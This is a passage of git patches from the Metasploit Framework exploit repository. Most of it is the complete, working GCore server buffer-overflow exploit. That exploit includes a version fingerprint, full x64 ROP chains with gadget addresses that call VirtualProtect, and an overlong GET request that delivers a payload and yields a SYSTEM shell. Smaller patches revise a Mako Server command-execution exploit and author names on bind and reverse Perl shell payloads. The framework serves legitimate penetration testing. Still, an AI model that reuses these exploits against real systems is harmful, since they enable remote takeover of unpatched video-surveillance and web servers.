+++ b/modules/exploits/windows/tftp/attftp_long_filename.rb
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
         request (get/write) for an overly long file name.
       },
-      'Author'         => [ 'patrick' ],
+      'Author'         => [ 'aushack' ],
       'References'     =>
         [
           ['CVE', '2006-6184'],
diff --git a/modules/exploits/windows/tftp/dlink_long_filename.rb b/modules/exploits/windows/tftp/dlink_long_filename.rb
index 4208af5357..e69459cecd 100644
--- a/modules/exploits/windows/tftp/dlink_long_filename.rb
+++ b/modules/exploits/windows/tftp/dlink_long_filename.rb
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Author'         =>
         [
           'LSO <lso[at]hushmail.com>', # Exploit module
-          'patrick', # Refs, stability, targets etc
+          'aushack', # Refs, stability, targets etc
         ],
       'References'     =>
         [
diff --git a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb
index 749b7163d6..ee103390fe 100644
--- a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb
+++ b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending
         an overly long file name to the tftpd.exe server, the stack can be overwritten.
       },
-      'Author' 	 => [ 'patrick' ],
+      'Author' 	 => [ 'aushack' ],
       'References'     =>
         [
           [ 'CVE', '2006-4948' ],
diff --git a/modules/exploits/windows/vnc/winvnc_http_get.rb b/modules/exploits/windows/vnc/winvnc_http_get.rb
index 1ceec34c73..824291023b 100644
--- a/modules/exploits/windows/vnc/winvnc_http_get.rb
+++ b/modules/exploits/windows/vnc/winvnc_http_get.rb
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         enabled (non-default), an overly long GET request can overwrite
         the stack. This exploit does not work well with VNC payloads!
       },
-      'Author' 	=> 'patrick',
+      'Author' 	=> 'aushack',
       'License'       => MSF_LICENSE,
       'References'    =>
       [
diff --git a/modules/payloads/singles/cmd/windows/bind_perl.rb b/modules/payloads/singles/cmd/windows/bind_perl.rb
index ecbb099b96..a0cfd2f733 100644
--- a/modules/payloads/singles/cmd/windows/bind_perl.rb
+++ b/modules/payloads/singles/cmd/windows/bind_perl.rb
@@ -18,7 +18,7 @@ module MetasploitModule
     super(merge_info(info,
       'Name'          => 'Windows Command Shell, Bind TCP (via Perl)',
       'Description'   => 'Listen for a connection and spawn a command shell via perl (persistent)',
-      'Author'        => ['Samy <samy[at]samy.pl>', 'cazz', 'patrick'],
+      'Author'        => ['Samy <samy[at]samy.pl>', 'cazz', 'aushack'],
       'License'       => BSD_LICENSE,
       'Platform'      => 'win',
       'Arch'          => ARCH_CMD,
diff --git a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb
index c7a9a583b6..20e475eb1c 100644
--- a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb
+++ b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb
@@ -18,7 +18,7 @@ module MetasploitModule
     super(merge_info(info,
       'Name'          => 'Windows Command Shell, Bind TCP (via perl) IPv6',
       'Description'   => 'Listen for a connection and spawn a command shell via perl (persistent)',
-      'Author'        => ['Samy <samy[at]samy.pl>', 'cazz', 'patrick'],
+      'Author'        => ['Samy <samy[at]samy.pl>', 'cazz', 'aushack'],
       'License'       => BSD_LICENSE,
       'Platform'      => 'win',
       'Arch'          => ARCH_CMD,
diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb
index 400d828bc1..accb73877a 100644
--- a/modules/payloads/singles/cmd/windows/reverse_perl.rb
+++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb
@@ -18,7 +18,7 @@ module MetasploitModule
     super(merge_info(info,
       'Name'          => 'Windows Command, Double Reverse TCP Connection (via Perl)',
       'Description'   => 'Creates an interactive shell via perl',
-      'Author'        => ['cazz', 'patrick'],
+      'Author'        => ['cazz', 'aushack'],
       'License'       => BSD_LICENSE,
       'Platform'      => 'win',
       'Arch'          => ARCH_CMD,

From 7ad151e68bf9a30d37d9c745175b7873279d4ab4 Mon Sep 17 00:00:00 2001
From: h00die <michaeltcyr@gmail.com>
Date: Wed, 8 Nov 2017 20:21:40 -0500
Subject: [PATCH 123/254] gcore formatting update

---
 .../http/geutebrueck_gcore_x64_rce_bo.md      |  10 +-
 .../http/geutebrueck_gcore_x64_rce_bo.rb      | 417 +++++++++---------
 2 files changed, 217 insertions(+), 210 deletions(-)

diff --git a/documentation/modules/exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md b/documentation/modules/exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md
index 895d792d03..91d3629bc9 100644
--- a/documentation/modules/exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md
+++ b/documentation/modules/exploit/windows/http/geutebrueck_gcore_x64_rce_bo.md
@@ -1,10 +1,11 @@
 ## Vulnerable Application
 
-  Geutebrück GCore Server 1.3.8.42,1.4.2.37 are vulnerable to a buffer overflow exploitation. Since this application is started with system privileges this allows a system remote code execution.
+  Geutebrück GCore Server 1.3.8.42, 1.4.2.37 are vulnerable to a buffer overflow exploitation. 
+  Since this application is started with system privileges this allows a system remote code execution.
 
 ## Verification Steps
 
-  1. Install Windows as basic OS (Tested with Win2012R2,Windows 7)
+  1. Install Windows as basic OS (Tested with Win2012R2, Windows 7)
   2. Install the Geutebrück GCore server
   3. Verify that http://<your target ip>:13003/statistics/runningmoduleslist.xml available is.
   4. Start msfconsole
@@ -16,6 +17,9 @@
   10. You should get a shell as NT/SYSTEM.
 
 ## Scenarios
+
+### Geutebrueck GCore 1.4.2.37
+
 ```
 msf exploit(geutebrueck_gcore_x64_rce_bo) > show options
 
@@ -59,5 +63,7 @@ msf exploit(geutebrueck_gcore_x64_rce_bo) > exploit
     NT-AUTORITÄT\SYSTEM
     meterpreter >
 ```
+
 ## Mitigation
+
 Geutebrück released a new version and an update for the affected product which should be installed to fix the described vulnerabilities.
diff --git a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
index 9da35a641e..5328a095d0 100644
--- a/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
+++ b/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb
@@ -15,7 +15,9 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
       'Description'	=> %q{
-        This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).
+        This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe).
+        The vulnerable webserver is running on Port 13003 and Port 13004, does not require
+        authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).
       },
       'License' => MSF_LICENSE,
       'Author' =>
@@ -47,213 +49,212 @@ class MetasploitModule < Msf::Exploit::Remote
       register_options(
         [Opt::RPORT(13003)]
       )
-        end
+    end
 
-        def fingerprint
-          print_status("Trying to fingerprint server with http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml...")
-          @doc = Nokogiri::XML(open("http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml"))
-          statistics = @doc.css('modulestate')
-          statistics.each do |x|
-            if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
-              mytarget = targets[1]
-              print_status("Vulnerable version detected: #{mytarget.name}")
-              return Exploit::CheckCode::Appears, mytarget
-            elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
-              mytarget = targets[2]
-              print_status("Vulnerable version detected: #{mytarget.name}")
-              return Exploit::CheckCode::Appears, mytarget
-            end
-          end
-          print_status("Statistics Page under http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml is not available.")
-          print_status('Make sure that you know the exact version, otherwise you\'ll knock out the service.')
-          print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
-          print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
-          [Exploit::CheckCode::Unknown, nil]
-        end
-
-        def check
-          fingerprint
-        end
-
-        def ropchain(target)
-          rop = ''
-          # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
-          stack_align = "\x43" * 16
-
-          if target.name.include? '1.3.8.42'
-            print_status('Preparing ROP chain for target 1.3.8.42!')
-
-            # 0x140cd00a9 | add rsp, 0x10 ; ret
-            # This is needed because the next 16 bytes are sometimes messed up.
-            overwrite = [0x140cd00a9].pack('Q<')
-
-            # We have 40 bytes left to align our stack!
-            # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
-            # and to restore it.
-            # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
-
-            # 0x1404e5cbf: mov edx, esp ; ret
-            stack_align << [0x1404e5cbf].pack('Q<')
-
-            # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
-            # We pop -XXXXX as \xxxxxxxxx to rax
-            # 0x14013db94  pop rax ; ret
-            stack_align << [0x14013db94].pack('Q<')
-            stack_align << [0xFFFFFFFFFFFFF061].pack('Q<')
-
-            # Our value is enough.
-            # 0x1407dc547  | add rax,rdx ; ret
-            stack_align << [0x1407dc547].pack('Q<')
-
-            # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
-            # 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
-            stack_align << [0x140ce9ac0].pack('Q<')
-
-            # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
-            # We want RCX to hold the value for VP Argument "Address of Shellcode"
-            # 0x140cc2234 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
-            rop << [0x140cc2234].pack('Q<')
-            rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
-            # 0x1400ae2ae    | POP RDX; RETN
-            # 0x...1000      | Value for VP "Size of Memory"
-            rop << [0x1400ae2ae].pack('Q<')
-            rop << [0x0000000000000400].pack('Q<')
-
-            # 0x14029dc6e:   | POP R8; RET
-            # 0x...40        | Value for VP "Execute Permissions"
-            rop << [0x14029dc6e].pack('Q<')
-            rop << [0x0000000000000040].pack('Q<')
-
-            # 0x1400aa030    | POP R9; RET
-            # 0x1409AE1A8 is the .data section of gcore
-            rop << [0x1400aa030].pack('Q<')
-            rop << [0x1409AE1A8].pack('Q<')
-
-            # 0x140b5927a: xor rax, rax ; ret
-            rop << [0x140b5927a].pack('Q<')
-
-            # 0x1402ce220 pop rax ; ret
-            # 0x140d752b8 | VP Stub IAT Entry
-            rop << [0x1402ce220].pack('Q<')
-            rop << [0x140d752b8].pack('Q<')
-
-            # 0x1407c6b3b mov rax, qword [rax] ; ret  ;
-            rop << [0x1407c6b3b].pack('Q<')
-
-            # 0x140989c41 push rax; ret
-            rop << [0x140989c41].pack('Q<')
-
-            # 0x1406d684d jmp rsp
-            rop << [0x1406d684d].pack('Q<')
-
-            [rop, overwrite, stack_align]
-
-          elsif target.name.include? '1.4.2.37'
-            print_status('Preparing ROP chain for target 1.4.2.37!')
-
-            # 0x140cd9759 | add rsp, 0x10 ; ret
-            # This is needed because the next 16 bytes are sometimes messed up.
-            overwrite = [0x140cd9759].pack('Q<')
-
-            # We have 40 bytes left to align our stack!
-            # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
-            # and to restore it.
-            # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
-
-            # 0x1404f213f: mov edx, esp ; ret
-            stack_align << [0x1404f213f].pack('Q<')
-
-            # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
-            # We pop -XXXXX as \xxxxxxxxx to rax
-            # 0x14000efa8  pop rax ; ret
-            stack_align << [0x14000efa8].pack('Q<')
-            stack_align << [0xFFFFFFFFFFFFF061].pack('Q<')
-
-            # Our value is enough.
-            # 0x140cdfe65  | add rax,rdx ; ret
-            stack_align << [0x140cdfe65].pack('Q<')
-
-            # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
-            # 0x140cf3110 | mov rsp, rax ; ..... ; ret
-            stack_align << [0x140cf3110].pack('Q<')
-
-            # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
-            # We want RCX to hold the value for VP Argument "Address of Shellcode"
-            # 0x140ccb984 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
-            rop << [0x140ccb984].pack('Q<')
-            rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
-            # 0x14008f7ec      | POP RDX; RETN
-            # 0x...1000        | Value for VP "Size of Memory"
-            rop << [0x14008f7ec].pack('Q<')
-            rop << [0x0000000000000400].pack('Q<')
-
-            # 0x140a88f81:   | POP R8; RET
-            # 0x...40        | Value for VP "Execute Permissions"
-            rop << [0x140a88f81].pack('Q<')
-            rop << [0x0000000000000040].pack('Q<')
-
-            # 0x1400aa030    | POP R9; RET
-            # 0x...          | Value for VP "Writeable location". Not sure if needed?
-            # 0x140FB5000 is the .data section of gcore; let's test with this writable section...
-            rop << [0x1400aa030].pack('Q<')
-            rop << [0x140FB5000].pack('Q<')
-
-            # 0x140ccea2f: xor rax, rax ; et
-            rop << [0x140ccea2f].pack('Q<')
-
-            # 0x14000efa8 pop rax ; ret
-            # 0x140d83268 | VP Stub IAT Entry
-            rop << [0x14000efa8].pack('Q<')
-            rop << [0x140d83268].pack('Q<')
-
-            # 0x14095b254 mov rax, qword [rax] ; ret  ;
-            rop << [0x14095b254].pack('Q<')
-
-            # 0x140166c46 push rax; ret
-            rop << [0x140166c46].pack('Q<')
-
-            # 0x140cfb98d jmp rsp
-            rop << [0x140cfb98d].pack('Q<')
-
-            [rop, overwrite, stack_align]
-
-          else
-            print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
-
-          end
-        end
-
-        def exploit
-          if target['auto']
-            checkcode, target = fingerprint
-            fail_with(Failure::NotVulnerable, 'No vulnerable Version detected - exploit aborted.') if checkcode.to_s.include? 'unknown'
-            target_rop, target_overwrite, target_stack_align = ropchain(target)
-          else
-            print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
-            print_status("Selected version: #{self.target.name}")
-            target_rop, target_overwrite, target_stack_align = ropchain(self.target)
-          end
-
-          begin
-            connect
-            print_status('Crafting Exploit...')
-            exploit = 'GET /'
-            exploit << "\x41" * 200
-            exploit << target_rop
-            exploit << payload.encoded
-            exploit << "\x41" * 1823
-            exploit << target_overwrite
-            exploit << target_stack_align
-
-            print_status('Exploit ready for sending...')
-            sock.put(exploit, 'Timeout' => 20)
-            print_status('Exploit sent!')
-            buf = sock.get_once || ''
-          rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
-            elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}\n#{e.fail_with}")
-          ensure
-            print_status('Closing socket.')
-            disconnect
-          end
+    def fingerprint
+      print_status("Trying to fingerprint server with http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml...")
+      @doc = Nokogiri::XML(open("http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml"))
+      statistics = @doc.css('modulestate')
+      statistics.each do |x|
+        if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
+          mytarget = targets[1]
+          print_status("Vulnerable version detected: #{mytarget.name}")
+          return Exploit::CheckCode::Appears, mytarget
+        elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
+          mytarget = targets[2]
+          print_status("Vulnerable version detected: #{mytarget.name}")
+          return Exploit::CheckCode::Appears, mytarget
         end
       end
+      print_status("Statistics Page under http://#{datastore['RHOST']}:#{datastore['RPORT']}/statistics/runningmoduleslist.xml is not available.")
+      print_status('Make sure that you know the exact version, otherwise you\'ll knock out the service.')
+      print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
+      print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
+      [Exploit::CheckCode::Unknown, nil]
+    end
+
+    def check
+      fingerprint
+    end
+
+    def ropchain(target)
+      rop = ''
+      # These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
+      stack_align = "\x43" * 16
+
+      if target.name.include? '1.3.8.42'
+        print_status('Preparing ROP chain for target 1.3.8.42!')
+
+        # 0x140cd00a9 | add rsp, 0x10 ; ret
+        # This is needed because the next 16 bytes are sometimes messed up.
+        overwrite = [0x140cd00a9].pack('Q<')
+
+        # We have 40 bytes left to align our stack!
+        # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
+        # and to restore it.
+        # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
+
+        # 0x1404e5cbf: mov edx, esp ; ret
+        stack_align << [0x1404e5cbf].pack('Q<')
+
+        # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
+        # We pop -XXXXX as \xxxxxxxxx to rax
+        # 0x14013db94  pop rax ; ret
+        stack_align << [0x14013db94].pack('Q<')
+        stack_align << [0xFFFFFFFFFFFFF061].pack('Q<')
+
+        # Our value is enough.
+        # 0x1407dc547  | add rax,rdx ; ret
+        stack_align << [0x1407dc547].pack('Q<')
+
+        # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
+        # 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
+        stack_align << [0x140ce9ac0].pack('Q<')
+
+        # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
+        # We want RCX to hold the value for VP Argument "Address of Shellcode"
+        # 0x140cc2234 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
+        rop << [0x140cc2234].pack('Q<')
+        rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
+        # 0x1400ae2ae    | POP RDX; RETN
+        # 0x...1000      | Value for VP "Size of Memory"
+        rop << [0x1400ae2ae].pack('Q<')
+        rop << [0x0000000000000400].pack('Q<')
+
+        # 0x14029dc6e:   | POP R8; RET
+        # 0x...40        | Value for VP "Execute Permissions"
+        rop << [0x14029dc6e].pack('Q<')
+        rop << [0x0000000000000040].pack('Q<')
+
+        # 0x1400aa030    | POP R9; RET
+        # 0x1409AE1A8 is the .data section of gcore
+        rop << [0x1400aa030].pack('Q<')
+        rop << [0x1409AE1A8].pack('Q<')
+
+        # 0x140b5927a: xor rax, rax ; ret
+        rop << [0x140b5927a].pack('Q<')
+
+        # 0x1402ce220 pop rax ; ret
+        # 0x140d752b8 | VP Stub IAT Entry
+        rop << [0x1402ce220].pack('Q<')
+        rop << [0x140d752b8].pack('Q<')
+
+        # 0x1407c6b3b mov rax, qword [rax] ; ret  ;
+        rop << [0x1407c6b3b].pack('Q<')
+
+        # 0x140989c41 push rax; ret
+        rop << [0x140989c41].pack('Q<')
+
+        # 0x1406d684d jmp rsp
+        rop << [0x1406d684d].pack('Q<')
+
+        [rop, overwrite, stack_align]
+
+      elsif target.name.include? '1.4.2.37'
+        print_status('Preparing ROP chain for target 1.4.2.37!')
+
+        # 0x140cd9759 | add rsp, 0x10 ; ret
+        # This is needed because the next 16 bytes are sometimes messed up.
+        overwrite = [0x140cd9759].pack('Q<')
+
+        # We have 40 bytes left to align our stack!
+        # The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
+        # and to restore it.
+        # We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
+
+        # 0x1404f213f: mov edx, esp ; ret
+        stack_align << [0x1404f213f].pack('Q<')
+
+        # As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
+        # We pop -XXXXX as \xxxxxxxxx to rax
+        # 0x14000efa8  pop rax ; ret
+        stack_align << [0x14000efa8].pack('Q<')
+        stack_align << [0xFFFFFFFFFFFFF061].pack('Q<')
+
+        # Our value is enough.
+        # 0x140cdfe65  | add rax,rdx ; ret
+        stack_align << [0x140cdfe65].pack('Q<')
+
+        # RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
+        # 0x140cf3110 | mov rsp, rax ; ..... ; ret
+        stack_align << [0x140cf3110].pack('Q<')
+
+        # Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
+        # We want RCX to hold the value for VP Argument "Address of Shellcode"
+        # 0x140ccb984 |  mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret  ;
+        rop << [0x140ccb984].pack('Q<')
+        rop << [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
+        # 0x14008f7ec      | POP RDX; RETN
+        # 0x...1000        | Value for VP "Size of Memory"
+        rop << [0x14008f7ec].pack('Q<')
+        rop << [0x0000000000000400].pack('Q<')
+
+        # 0x140a88f81:   | POP R8; RET
+        # 0x...40        | Value for VP "Execute Permissions"
+        rop << [0x140a88f81].pack('Q<')
+        rop << [0x0000000000000040].pack('Q<')
+
+        # 0x1400aa030    | POP R9; RET
+        # 0x...          | Value for VP "Writeable location". Not sure if needed?
+        # 0x140FB5000 is the .data section of gcore; let's test with this writable section...
+        rop << [0x1400aa030].pack('Q<')
+        rop << [0x140FB5000].pack('Q<')
+
+        # 0x140ccea2f: xor rax, rax ; et
+        rop << [0x140ccea2f].pack('Q<')
+
+        # 0x14000efa8 pop rax ; ret
+        # 0x140d83268 | VP Stub IAT Entry
+        rop << [0x14000efa8].pack('Q<')
+        rop << [0x140d83268].pack('Q<')
+
+        # 0x14095b254 mov rax, qword [rax] ; ret  ;
+        rop << [0x14095b254].pack('Q<')
+
+        # 0x140166c46 push rax; ret
+        rop << [0x140166c46].pack('Q<')
+
+        # 0x140cfb98d jmp rsp
+        rop << [0x140cfb98d].pack('Q<')
+
+        [rop, overwrite, stack_align]
+
+      else
+        print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
+      end
+    end
+
+    def exploit
+      if target['auto']
+        checkcode, target = fingerprint
+        fail_with(Failure::NotVulnerable, 'No vulnerable Version detected - exploit aborted.') if checkcode.to_s.include? 'unknown'
+        target_rop, target_overwrite, target_stack_align = ropchain(target)
+      else
+        print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
+        print_status("Selected version: #{self.target.name}")
+        target_rop, target_overwrite, target_stack_align = ropchain(self.target)
+      end
+
+      begin
+        connect
+        print_status('Crafting Exploit...')
+        exploit = 'GET /'
+        exploit << "\x41" * 200
+        exploit << target_rop
+        exploit << payload.encoded
+        exploit << "\x41" * 1823
+        exploit << target_overwrite
+        exploit << target_stack_align
+
+        print_status('Exploit ready for sending...')
+        sock.put(exploit, 'Timeout' => 20)
+        print_status('Exploit sent!')
+        buf = sock.get_once || ''
+      rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
+        elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}\n#{e.fail_with}")
+      ensure
+        print_status('Closing socket.')
+        disconnect
+      end
+    end
+  end

From 7213e6cc49d257b3adb35baf7c278491a1db096c Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Thu, 9 Nov 2017 10:52:03 -0600
Subject: [PATCH 124/254] Fix #9133, makoserver_cmd_exec cleanup

---
 .../windows/http/makoserver_cmd_exec.rb       | 32 ++++++++++++-------
 1 file changed, 20 insertions(+), 12 deletions(-)

diff --git a/modules/exploits/windows/http/makoserver_cmd_exec.rb b/modules/exploits/windows/http/makoserver_cmd_exec.rb
index 5326d5bb7a..97cee67e1d 100644
--- a/modules/exploits/windows/http/makoserver_cmd_exec.rb
+++ b/modules/exploits/windows/http/makoserver_cmd_exec.rb
@@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     register_options(
       [
-        OptString.new('URI', [true, 'URI path to the Mako Server app', '/'])
+        OptString.new('TARGETURI', [true, 'URI path to the Mako Server app', '/'])
       ]
     )
   end
@@ -53,17 +53,17 @@ class MetasploitModule < Msf::Exploit::Remote
     # Send GET request to determine existence of save.lsp page
     res = send_request_cgi({
              'method' => 'GET',
-             'uri'    => normalize_uri(datastore['URI'], 'examples/save.lsp')
+             'uri'    => normalize_uri(target_uri.path, 'examples/save.lsp')
            }, 20)
 
     # If response does not include "MakoServer.net", target is not viable.
-    if res.headers['Server'] !~ /MakoServer.net/
+    if res.headers['Server'] !~ /MakoServer\.net/
       vprint_warning('Target is not a Mako Server.')
       return CheckCode::Safe
     end
 
     if res.body
-      if res.body =~ /Incorrect usage/
+      if res.body.include?('Incorrect usage')
         # We are able to determine that the server has a save.lsp page and
         # returns the correct output.
         vprint_status('Mako Server save.lsp returns correct ouput.')
@@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Remote
       return CheckCode::Unknown
     end
 
-    return CheckCode::Safe
+    CheckCode::Safe
   end
 
   def exploit
@@ -98,13 +98,16 @@ class MetasploitModule < Msf::Exploit::Remote
     begin
       vprint_status('Sending PUT request to save.lsp...')
       send_request_cgi({
-         'method' => 'PUT',
-         'uri'    => normalize_uri(datastore['URI'], 'examples/save.lsp?ex=2.1'),
-         'ctype'  => 'text/plain',
-         'data'   => cmd,
-         'http'   => {
+         'method'   => 'PUT',
+         'uri'      => normalize_uri(target_uri.path, 'examples/save.lsp'),
+         'ctype'    => 'text/plain',
+         'data'     => cmd,
+         'headers'  => {
            'X-Requested-With' => 'XMLHttpRequest',
            'Referer' => 'http://localhost/Lua-Types.lsp'
+         },
+         'vars_get' => {
+           'ex' => '2.1'
          }
        }, 20)
     rescue StandardError => e
@@ -115,8 +118,13 @@ class MetasploitModule < Msf::Exploit::Remote
     begin
       vprint_status('Sending GET request to manage.lsp...')
       send_request_cgi({
-         'method' => 'GET',
-         'uri'    => normalize_uri(datastore['URI'], 'examples/manage.lsp?execute=true&ex=2.1&type=lua')
+         'method'   => 'GET',
+         'uri'      => normalize_uri(target_uri.path, 'examples/manage.lsp'),
+         'vars_get' => {
+           'execute' => 'true',
+           'ex' => '2.1',
+           'type' => 'lua'
+         }
        }, 20)
     rescue StandardError => e
       fail_with(Failure::NoAccess, "Error: #{e}")

From ea260e87b73bc5181e3142e4c0846e066111fd9e Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Thu, 9 Nov 2017 11:06:50 -0600
Subject: [PATCH 125/254] Remove headers, since we didn't send them before

http was an invalid key for setting headers, and we still got a shell.
These headers also don't seem relevant to the PUT request.
---
 modules/exploits/windows/http/makoserver_cmd_exec.rb | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/modules/exploits/windows/http/makoserver_cmd_exec.rb b/modules/exploits/windows/http/makoserver_cmd_exec.rb
index 97cee67e1d..1e3a16bdad 100644
--- a/modules/exploits/windows/http/makoserver_cmd_exec.rb
+++ b/modules/exploits/windows/http/makoserver_cmd_exec.rb
@@ -102,10 +102,6 @@ class MetasploitModule < Msf::Exploit::Remote
          'uri'      => normalize_uri(target_uri.path, 'examples/save.lsp'),
          'ctype'    => 'text/plain',
          'data'     => cmd,
-         'headers'  => {
-           'X-Requested-With' => 'XMLHttpRequest',
-           'Referer' => 'http://localhost/Lua-Types.lsp'
-         },
          'vars_get' => {
            'ex' => '2.1'
          }

From 577baf6070b9029d96cb1f5646dde87bbad9ba48 Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Thu, 9 Nov 2017 15:17:04 -0600
Subject: [PATCH 126/254] Add a check for .rb in cmd_edit

---
 lib/msf/ui/console/command_dispatcher/modules.rb | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb
index b3142c5302..3916652e73 100644
--- a/lib/msf/ui/console/command_dispatcher/modules.rb
+++ b/lib/msf/ui/console/command_dispatcher/modules.rb
@@ -95,9 +95,11 @@ module Msf
               system(editor, path)
 
               # XXX: This will try to reload *anything* and break on modules
-              if args.length > 0
+              if args.length > 0 && path.end_with?('.rb')
                 print_status("Reloading #{path}")
                 load path
+              else
+                print_error('Only Ruby files can be reloaded')
               end
             else
               print_error('Nothing to edit -- try using a module first.')

From 97859ebf8c179ba7799230478a2384f2ede45813 Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Thu, 9 Nov 2017 15:23:37 -0600
Subject: [PATCH 127/254] Clarify XXX comment no user will ever see anyway

---
 lib/msf/ui/console/command_dispatcher/modules.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb
index 3916652e73..a7a8c806f8 100644
--- a/lib/msf/ui/console/command_dispatcher/modules.rb
+++ b/lib/msf/ui/console/command_dispatcher/modules.rb
